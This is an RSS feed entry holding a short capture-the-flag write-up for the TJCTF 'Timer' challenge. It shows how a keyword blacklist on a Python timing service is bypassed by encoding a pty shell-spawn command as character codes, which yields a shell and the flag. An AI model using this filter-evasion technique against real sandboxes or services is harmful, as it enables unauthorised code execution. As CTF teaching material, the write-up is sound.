<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Cheuk Yin Ng</title>
    <description>The latest articles on DEV Community by Cheuk Yin Ng (@csys).</description>
    <link>https://dev.to/csys</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F236630%2Fa95ba5c0-b88a-423c-8da4-fb36ccdc7f35.jpeg</url>
      <title>DEV Community: Cheuk Yin Ng</title>
      <link>https://dev.to/csys</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/csys"/>
    <language>en</language>
    <item>
      <title>Timer - tjctf</title>
      <dc:creator>Cheuk Yin Ng</dc:creator>
      <pubDate>Wed, 27 May 2020 03:48:40 +0000</pubDate>
      <link>https://dev.to/csys/timer-tjctf-2bmb</link>
      <guid>https://dev.to/csys/timer-tjctf-2bmb</guid>
      <description>&lt;p&gt;This one is a cool blacklist bypass. It's pretty simple. You are presented a text interface asking you to enter a python command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Type a command to time it!
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trying some simple functions seem to work fine, but....&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Type a command to time it!
print(1)
Runtime: 1.09672546387e-05

Type a command to time it!
import os
Hey, no hacking!
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;...there seems to be a blacklist of characters that get screened before the command is run. We must obfuscate it somehow. By digging around, we can see exactly what is in the blacklist and what isn't in the blacklist. Most peculiarly, &lt;code&gt;timeit&lt;/code&gt; is &lt;strong&gt;NOT&lt;/strong&gt; in the blacklist.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Sidenote: it is hinted that &lt;code&gt;timeit&lt;/code&gt; could be a possibility because it is visible in the source whenever we provide invalid python code for the program to execute.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Type a command to time it!
arst
Traceback (most recent call last):
&lt;/span&gt;&lt;span class="gp"&gt;  File "/timed.py", line 36, in &amp;lt;module&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;    time1=t.timeit(1)
  File "/usr/lib/python2.7/timeit.py", line 202, in timeit
    timing = self.inner(it, self.timer)
&lt;/span&gt;&lt;span class="gp"&gt;  File "&amp;lt;timeit-src&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;", line 6, in inner
&lt;/span&gt;&lt;span class="go"&gt;    arst
NameError: global name 'arst' is not defined
Runtime: 0

Type a command to time it!
12.,,
Traceback (most recent call last):
&lt;/span&gt;&lt;span class="gp"&gt;  File "/timed.py", line 31, in &amp;lt;module&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;    t=timeit.Timer(res)
  File "/usr/lib/python2.7/timeit.py", line 129, in __init__
    compile(setup + '\n' + stmt, dummy_src_name, "exec")
&lt;/span&gt;&lt;span class="gp"&gt;  File "&amp;lt;timeit-src&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;", line 2
&lt;/span&gt;&lt;span class="go"&gt;    12.,,
        ^
SyntaxError: invalid syntax
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can do something like the following in order to trick the program into executing blacklisted commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# We want to execute the following python
&lt;/span&gt;&lt;span class="n"&gt;want_exec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;'import pty;pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;span class="c1"&gt;# So we obfuscate it a bit
&lt;/span&gt;&lt;span class="n"&gt;obfuscated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;want_exec&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;# and we can just reverse it using a join-map
&lt;/span&gt;&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;want_exec&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obfuscated&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;# Payload:
&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...])))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By pasting the payload into the program, we get a shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Type a command to time it!
timeit(''.join(map(chr, [105, ...])))
bash: /root/.bashrc: Permission denied
&lt;/span&gt;&lt;span class="gp"&gt;nobody@c51f99923c23:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;ls
bin   dev  flag.txt  lib    media  opt   root  sbin  sys       tmp  var
boot  etc  home      lib64  mnt    proc  run   srv   timed.py  usr
&lt;/span&gt;&lt;span class="gp"&gt;nobody@c51f99923c23:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;flag.txt
&lt;span class="go"&gt;cat flag.txt
tjctf{iTs_T1m3_f0r_a_flaggg}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>security</category>
      <category>ctf</category>
    </item>
  </channel>
</rss>
